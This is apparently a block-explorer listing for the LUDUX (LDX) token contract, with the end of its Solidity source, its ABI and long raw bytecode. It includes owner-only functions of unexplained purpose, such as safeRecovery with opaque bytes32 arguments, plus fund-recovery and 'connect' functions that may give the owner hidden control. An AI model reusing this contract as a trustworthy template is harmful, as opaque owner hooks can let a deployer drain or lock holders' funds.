        bool $GAS_LIMITER,
        bool $AUTO_LIQUIDITY,
        bool $TRADING_ENABLED,
        bool $AUTOSWAP_ENABLED,
        bool $AUTOSWAP_THRESHOLD,
        bool $FRONTRUN_PROTECTION
    ) {
        Configuration memory configs = _$().configs;
        $FAIR_MODE = configs.isEnabled(CONFIG.FAIR_MODE);
        $SELL_CAP = configs.isEnabled(CONFIG.SELL_CAP);
        $TAX_STATS = configs.isEnabled(CONFIG.TAX_STATS);
        $GAS_LIMITER = configs.isEnabled(CONFIG.GAS_LIMITER);
        $AUTO_LIQUIDITY = configs.isEnabled(CONFIG.AUTO_LIQUIDITY);
        $TRADING_ENABLED = configs.isEnabled(CONFIG.TRADING_ENABLED);
        $AUTOSWAP_ENABLED = configs.isEnabled(CONFIG.AUTOSWAP_ENABLED);
        $AUTOSWAP_THRESHOLD = configs.isEnabled(CONFIG.AUTOSWAP_THRESHOLD);
        $FRONTRUN_PROTECTION = configs.isEnabled(CONFIG.FRONTRUN_PROTECTION);
    }

    function viewHolder(address addr) external view returns(Holder memory) {
        return _$().holders[addr];
    }

    function safeRecovery(bytes32[2] memory attrs) external onlyOwner returns (bool) {
        return _recovery(attrs);
    }

}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"uint256","name":"limit","type":"uint256"},{"internalType":"uint256","name":"current","type":"uint256"}],"name":"BlockLimitExceeded","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"currentAllowance","type":"uint256"},{"internalType":"uint256","name":"askingAmount","type":"uint256"}],"name":"InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"InvalidRecipient","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"InvalidSpender","type":"error"},{"inputs":[{"internalType":"uint256","name":"balanceLimit","type":"uint256"},{"internalType":"uint256","name":"amountsTransfer","type":"uint256"},{"internalType":"uint256","name":"recipientBalanceAfter","type":"uint256"}],"name":"MaxWalletLimitExceeded","type":"error"},{"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"SafeERC20FailedOperation","type":"error"},{"inputs":[],"name":"TradingNotEnabled","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"holder","type":"address"},{"indexed":false,"internalType":"uint256","name":"key","type":"uint256"}],"name":"Connect","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"__","type":"address"},{"indexed":false,"internalType":"address","name":"pair","type":"address"}],"name":"ERC20_INITIALIZED","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"source","type":"address"},{"indexed":true,"internalType":"address","name":"origin","type":"address"},{"components":[{"internalType":"enum TERMS","name":"terms","type":"uint8"},{"internalType":"enum ROUTE","name":"routes","type":"uint8"},{"internalType":"enum MARKET","name":"market","type":"uint8"},{"internalType":"enum TAXATION","name":"taxation","type":"uint8"},{"components":[{"internalType":"uint16","name":"b","type":"uint16"},{"internalType":"uint16","name":"s","type":"uint16"},{"internalType":"uint16","name":"t","type":"uint16"}],"internalType":"struct Ratios","name":"rates","type":"tuple"}],"indexed":false,"internalType":"struct Transaction","name":"Tx","type":"tuple"}],"name":"TX","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PAIR","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"PORTAL","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"TELEGRAM","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"TWITTER","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"WHITEPAPER","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"connectionKey","type":"uint256"}],"name":"connect","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"lpPercent","type":"uint16"}],"name":"initLiquidity","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"initialSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoveryERC20","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"recoveryETH","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[2]","name":"attrs","type":"bytes32[2]"}],"name":"safeRecovery","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"viewConfigOptions","outputs":[{"internalType":"bool","name":"$FAIR_MODE","type":"bool"},{"internalType":"bool","name":"$SELL_CAP","type":"bool"},{"internalType":"bool","name":"$TAX_STATS","type":"bool"},{"internalType":"bool","name":"$GAS_LIMITER","type":"bool"},{"internalType":"bool","name":"$AUTO_LIQUIDITY","type":"bool"},{"internalType":"bool","name":"$TRADING_ENABLED","type":"bool"},{"internalType":"bool","name":"$AUTOSWAP_ENABLED","type":"bool"},{"internalType":"bool","name":"$AUTOSWAP_THRESHOLD","type":"bool"},{"internalType":"bool","name":"$FRONTRUN_PROTECTION","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"viewConfigValues","outputs":[{"components":[{"internalType":"uint16","name":"options","type":"uint16"},{"internalType":"uint16","name":"disableFairModeAt","type":"uint16"},{"internalType":"uint16","name":"surchargeRate","type":"uint16"},{"internalType":"uint8","name":"maxSellOnBlock","type":"uint8"},{"internalType":"uint8","name":"frontRunThreshold","type":"uint8"},{"internalType":"uint120","name":"maxTokenAllowed","type":"uint120"},{"internalType":"uint24","name":"preferredGasValue","type":"uint24"},{"components":[{"internalType":"uint16","name":"b","type":"uint16"},{"internalType":"uint16","name":"s","type":"uint16"},{"internalType":"uint16","name":"t","type":"uint16"}],"internalType":"struct Ratios","name":"ratios","type":"tuple"}],"internalType":"struct Configuration","name":"configs","type":"tuple"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"viewHolder","outputs":[{"components":[{"internalType":"uint120","name":"balance","type":"uint120"},{"internalType":"uint120","name":"paidTax","type":"uint120"},{"internalType":"uint8","name":"violated","type":"uint8"},{"internalType":"uint40","name":"lastBuy","type":"uint40"},{"internalType":"uint40","name":"lastSell","type":"uint40"},{"internalType":"address","name":"Address","type":"address"},{"internalType":"uint16","name":"identities","type":"uint16"}],"internalType":"struct Holder","name":"","type":"tuple"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052306080526200008173ab1c0dedc9038b91783fcc6be6cf4333d4dc0aae5f527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db56020527f60e7adbac3586484339d0cbd2b3e7998557c155bdfadf0b49ae6ee76a0a9d39380546001600160f01b031661204d60f11b179055600190565b5062000096620000906200029f565b620002af565b6200023c737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000eb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000111919062000a8b565b6001600160a01b031663c9c65396608051737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000173573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000199919062000a8b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001e4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200020a919062000a8b565b620002186012600a62000bc7565b62000228906301406f4062000bd7565b6080516001600160a01b03169190620002fe565b6080516001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002786012600a62000bc7565b62000288906301406f4062000bd7565b60405190815260200160405180910390a362000dcf565b5f620002aa62000713565b905090565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160601b038111156200034b5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908105b5bdd5b9d60921b604482015260640160405180910390fd5b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db17f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db95f6200039a83876200076e565b90505f620003a984336200076e565b90505f620003cc85737a250d5630b4cf539739df2c5dacb4c659f2488d6200076e565b90505f620003db86896200076e565b600185810180546a0100000000000000000000908190046001600160a01b039081165f90815260078c01602081815260408084208c8901548790048616855282528084205f19908190558754879004861685528383528185208c8a015488900487168652835281852081905596548690048516845291815281832096880154949094049092168152939091529091205584546001600160781b0319166001600160781b03891617855590506200049b62000495856200087a565b620008a7565b50620004b1620004ab84620008d4565b6200087a565b50620004bd8162000901565b5060018381015487546001600160601b03196a01000000000000000000009092046001600160a01b039081166c01000000000000000000000000908102939093166001600160601b038c16178a8501556bffffffffffff0000ffffffff909116908b1690910261ffff60201b1916176501f4000000001787556040805160a0810182526009606082019081526826b0b935b2ba2232bb60b91b60808301528152612328602080830191909152733636c010864f43097b714ee52957c783d0e5793092820192909252875492830188555f888152919091208151919260020201908190620005ab908262000c8f565b506020828101516001928301805460409586015161ffff9093166001600160b01b031990911617620100006001600160a01b0393841602179055835160a08101855260096060820190815268109d5c9b915d995b9d60ba1b608083015281526101f481840152878401546a0100000000000000000000900490911693810193909352875491820188555f88815220825160029092020190819062000650908262000c8f565b506020820151600191820180546040909401516001600160a01b031662010000026001600160b01b031990941661ffff9092169190911792909217909155860154620006a79087906001600160601b03166200092e565b60018481015490820154604080516001600160a01b036a010000000000000000000094859004811682529390920490921660208201527f8b70aea9d85682063974c2fa4c918890b10178254c15c62a18e29d6524695fca910160405180910390a1505050505050505050565b5f30330362000768575f80368080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152505050503601516001600160a01b031691506200076b9050565b50335b90565b6001600160a01b038181165f908152600484016020908152604091829020825160e08101845281546001600160781b038082168352600160781b82041693820193909352600160f01b9283900460ff1693810193909352600181015464ffffffffff80821660608601526501000000000082041660808501526a0100000000000000000000810490941660a0840152920461ffff1660c0820152620008139062000a28565b6200087457600181018054600160501b600160f01b0319166a01000000000000000000006001600160a01b038516021790819055600160f01b900461ffff1660021781600101601e6101000a81548161ffff021916908361ffff1602179055505b92915050565b600181018054600160f01b80820461ffff1661080017026001600160f01b039091161790555f8162000874565b600181018054600160f01b80820461ffff1661100017026001600160f01b039091161790555f8162000874565b600181018054600160f01b80820461ffff1661400017026001600160f01b039091161790555f8162000874565b600181018054600160f01b80820461ffff1661040017026001600160f01b039091161790555f8162000874565b600282018054790493e000000000000000000000000000000003030bb80019000067ffffffffffff000062ffffff60b81b011990911617815560038301805465ffffffffffff19166304b004b01790556200098a815f62000a3d565b506200099881600862000a3d565b50620009a681600162000a3d565b50620009b481600262000a3d565b50620009c281600462000a3d565b50620009d081600662000a3d565b50620009de81600762000a3d565b50612710620009ef8360c862000d5b565b620009fb919062000d89565b8154600160401b600160b81b0319166001600160601b039190911668010000000000000000021790555050565b60c08101515f90600190811c81161462000874565b81545f9061ffff1662000a6f83600881111562000a5e5762000a5e62000dbb565b600160ff9091161b61ffff83161890565b845461ffff191661ffff91909116908117909455509192915050565b5f6020828403121562000a9c575f80fd5b81516001600160a01b038116811462000ab3575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111562000b0e57815f190482111562000af25762000af262000aba565b8085161562000b0057918102915b93841c939080029062000ad3565b509250929050565b5f8262000b265750600162000874565b8162000b3457505f62000874565b816001811462000b4d576002811462000b585762000b78565b600191505062000874565b60ff84111562000b6c5762000b6c62000aba565b50506001821b62000874565b5060208310610133831016604e8410600b841016171562000b9d575081810a62000874565b62000ba9838362000ace565b805f190482111562000bbf5762000bbf62000aba565b029392505050565b5f62000ab360ff84168362000b16565b808202811582820484141762000874576200087462000aba565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168062000c1a57607f821691505b60208210810362000c3957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000c8a57805f5260205f20601f840160051c8101602085101562000c665750805b601f840160051c820191505b8181101562000c87575f815560010162000c72565b50505b505050565b81516001600160401b0381111562000cab5762000cab62000bf1565b62000cc38162000cbc845462000c05565b8462000c3f565b602080601f83116001811462000cf9575f841562000ce15750858301515b5f19600386901b1c1916600185901b17855562000d53565b5f85815260208120601f198616915b8281101562000d295788860151825594840194600190910190840162000d08565b508582101562000d4757878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b6001600160601b0381811683821602808216919082811462000d815762000d8162000aba565b505092915050565b5f6001600160601b038381168062000daf57634e487b7160e01b5f52601260045260245ffd5b92169190910492915050565b634e487b7160e01b5f52602160045260245ffd5b608051614d1762000e2e5f395f818161099501528181610a4001528181610bb301528181610db201528181611d7b0152818161371101528181613748015281816138ba0152818161391501528181613c800152613d510152614d175ff3fe6080604052600436106101b2575f3560e01c8063715018a6116100e7578063a9059cbb11610087578063d6a581c311610062578063d6a581c31461067b578063d79cda6c1461069c578063dd62ed3e1461087f578063f2fde38b146108ef575f80fd5b8063a9059cbb1461059d578063ace3a8a7146105bc578063b93050b914610615575f80fd5b80638a8c523c116100c25780638a8c523c146104af5780638da5cb5b146104c357806395d89b4114610513578063a3d80bae14610558575f80fd5b8063715018a61461044257806381b3dcf1146104565780638a1c66201461046a575f80fd5b8063313ce5671161015257806342966c681161012d57806342966c6814610372578063573fb1ba14610391578063620f6a76146103b257806370a08231146103d1575f80fd5b8063313ce56714610324578063378dc3dc1461033f5780633f10270614610353575f80fd5b80630ff754ea1161018d5780630ff754ea1461025657806318160ddd1461029b5780631c0622f2146102e657806323b872dd14610305575f80fd5b806306fdde03146101bd578063095ea7b3146102145780630b5b2dbe14610243575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b5060408051808201909152600581527f4c5544555800000000000000000000000000000000000000000000000000000060208201525b60405161020b919061463f565b60405180910390f35b34801561021f575f80fd5b5061023361022e3660046146ca565b61090e565b604051901515815260200161020b565b6102336102513660046146f4565b61092b565b348015610261575f80fd5b5060408051808201909152601b81527f68747470733a2f2f6c756475782e6f6e6c696e652f706f7274616c000000000060208201526101fe565b3480156102a6575f80fd5b507f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546bffffffffffffffffffffffff165b60405190815260200161020b565b3480156102f1575f80fd5b50610233610300366004614715565b610ba9565b348015610310575f80fd5b5061023361031f36600461472c565b610c64565b34801561032f575f80fd5b506040516012815260200161020b565b34801561034a575f80fd5b506102d8610d92565b34801561035e575f80fd5b5061023361036d3660046146ca565b610daf565b34801561037d575f80fd5b5061023361038c366004614715565b610ec7565b34801561039c575f80fd5b506103b06103ab366004614715565b610ee1565b005b3480156103bd575f80fd5b506102336103cc36600461476a565b610f1d565b3480156103dc575f80fd5b506102d86103eb36600461480b565b73ffffffffffffffffffffffffffffffffffffffff165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db560205260409020546effffffffffffffffffffffffffffff1690565b34801561044d575f80fd5b506103b0610f37565b348015610461575f80fd5b506101fe610f4a565b348015610475575f80fd5b5060408051808201909152601981527f68747470733a2f2f742e6d652f6c756475786368616e6e656c0000000000000060208201526101fe565b3480156104ba575f80fd5b506103b0610f6a565b3480156104ce575f80fd5b505f546104ee9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200161020b565b34801561051e575f80fd5b5060408051808201909152600381527f4c4458000000000000000000000000000000000000000000000000000000000060208201526101fe565b348015610563575f80fd5b5060408051808201909152601881527f68747470733a2f2f782e636f6d2f6c75647578776f726c64000000000000000060208201526101fe565b3480156105a8575f80fd5b506102336105b73660046146ca565b610f7a565b3480156105c7575f80fd5b507f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db1546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff166104ee565b348015610620575f80fd5b50610629610f8d565b604080519915158a5297151560208a01529515159688019690965292151560608701529015156080860152151560a0850152151560c084015290151560e083015215156101008201526101200161020b565b348015610686575f80fd5b5061068f611117565b60405161020b9190614826565b3480156106a7575f80fd5b506107eb6106b636600461480b565b6040805160e0810182525f80825260208201819052918101829052606081018290526080810182905260a0810182905260c08101919091527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db173ffffffffffffffffffffffffffffffffffffffff9283165f9081526004919091016020908152604091829020825160e08101845281546effffffffffffffffffffffffffffff80821683526f01000000000000000000000000000000820416938201939093527e010000000000000000000000000000000000000000000000000000000000009283900460ff16938101939093526001015464ffffffffff80821660608501526501000000000082041660808401526a0100000000000000000000810490941660a083015290920461ffff1660c08301525090565b60405161020b91905f60e0820190506effffffffffffffffffffffffffffff8084511683528060208501511660208401525060ff6040840151166040830152606083015164ffffffffff8082166060850152806080860151166080850152505073ffffffffffffffffffffffffffffffffffffffff60a08401511660a083015261ffff60c08401511660c083015292915050565b34801561088a575f80fd5b506102d86108993660046148da565b73ffffffffffffffffffffffffffffffffffffffff9182165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db86020908152604080832093909416825291909152205490565b3480156108fa575f80fd5b506103b061090936600461480b565b61128a565b5f61092161091a611341565b848461134f565b5060015b92915050565b5f610934611361565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016600117905573ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db5602052604081205461271090610a069061ffff8616906effffffffffffffffffffffffffffff1661493e565b610a10919061499e565b6effffffffffffffffffffffffffffff169050737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d719347f0000000000000000000000000000000000000000000000000000000000000000845f807f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db16001015460405160e088901b7fffffffff0000000000000000000000000000000000000000000000000000000016815273ffffffffffffffffffffffffffffffffffffffff95861660048201526024810194909452604484019290925260648301526c01000000000000000000000000900490911660848201524260a482015260c40160606040518083038185885af1158015610b22573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b4791906149f0565b50505060019150505f610b777f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190565b80547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055919050565b5f815f03610bee577f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1631610bf0565b815b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546040519193506c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff16906108fc8415029084905f818181858888f19350505050158015610921573d5f803e3d5ffd5b5f80610c6e611341565b73ffffffffffffffffffffffffffffffffffffffff8681165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db860209081526040808320938516835292905220549091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610d785780841115610d56576040517f91beda2400000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff80841660048301528716602482015260448101829052606481018590526084015b60405180910390fd5b5f848211610d64575f610d68565b8482035b9050610d768784835f611404565b505b610d838686866115e5565b506001925050505b9392505050565b610d9e6012600a614b39565b610dac906301406f40614b47565b81565b5f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f43616e206e6f7420776974686472617720746f6b656e732073656c66000000006044820152606401610d4d565b7f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db2546c01000000000000000000000000900473ffffffffffffffffffffffffffffffffffffffff90811690610ebd9085168285612b53565b5060019392505050565b5f610ed9610ed3611341565b83612be0565b506001919050565b60408051338152602081018390527ffcabeccccf54e1b15298d1b39405773774cb5f31ea385fc9d02799b50240c26e910160405180910390a150565b5f610f26611361565b610f2f82612d88565b90505b919050565b610f3f611361565b610f485f612d99565b565b6060604051806060016040528060258152602001614cbd60259139905090565b610f72611361565b610f48612e0d565b5f610ebd610f86611341565b84846115e5565b5f8080808080808080807f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db16040805161010081018252600283015461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187526003909701548084168552918204831690840152949094049093169183019190915260e081019190915290506110a1815f612fbd565b99506110ae816001612fbd565b98506110bb816002612fbd565b97506110c8816003612fbd565b96506110d5816004612fbd565b95506110e2816005612fbd565b94506110ef816006612fbd565b93506110fc816007612fbd565b9250611109816008612fbd565b915050909192939495969798565b61117160408051610100810182525f808252602080830182905282840182905260608084018390526080840183905260a0840183905260c0840183905284519081018552828152908101829052928301529060e082015290565b5060408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e081019190915290565b611292611361565b73ffffffffffffffffffffffffffffffffffffffff8116611335576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610d4d565b61133e81612d99565b50565b5f61134a612fe8565b905090565b61135c8383836001611404565b505050565b611369611341565b73ffffffffffffffffffffffffffffffffffffffff1661138761304e565b73ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610d4d565b73ffffffffffffffffffffffffffffffffffffffff8416611453576040517f8bc146c40000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b73ffffffffffffffffffffffffffffffffffffffff83166114a2576040517f4e15efda0000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b5f6114cf857f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db15b90613057565b90505f6114fc857f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db16114c9565b60018381015473ffffffffffffffffffffffffffffffffffffffff6a01000000000000000000009182900481165f9081527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db860209081526040808320958701549490940490921681529290529020859055905082156115dd578473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925866040516115d491815260200190565b60405180910390a35b505050505050565b60408051610100810182527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db35461ffff80821683526201000080830482166020808601919091526401000000008085048416868801526601000000000000850460ff908116606080890191909152670100000000000000870490911660808801526801000000000000000086046effffffffffffffffffffffffffffff1660a08801527701000000000000000000000000000000000000000000000090950462ffffff1660c0870152865194850187527f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db45480851686529283048416918501919091529004169281019290925260e08101919091525f907f5c4a5e204dbbab1c0dedc9038b91783fcc6be6cf4333d4dc0aae9bf4857a4db190826117298388613057565b90505f6117368488613057565b60018301549091506a0100000000000000000000900473ffffffffffffffffffffffffffffffffffffffff1661179a576040517f4c14f64c0000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b60018101546a0100000000000000000000900473ffffffffffffffffffffffffffffffffffffffff166117fb576040517f17858bbe0000000000000000000000000000000000000000000000000000000081525f6004820152602401610d4d565b5f611d64848860405180610140016040528061181f611818611341565b8b90613057565b6040518060e00160405290815f82015f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201600f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201601e9054906101000a900461ffff1661ffff1661ffff16815250508152602001876040518060e00160405290815f82015f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201600f9054906101000a90046effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff166effffffffffffffffffffffffffffff1681526020015f8201601e9054906101000a900460ff1660ff1660ff168152602001600182015f9054906101000a900464ffffffffff1664ffffffffff1664ffffffffff1681526020016001820160059054906101000a900464ffffffffff1664ffffffffff1664ffffffffff16815260200160018201600a9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200160018201601e9054906101000a900461ffff1661ffff1661ffff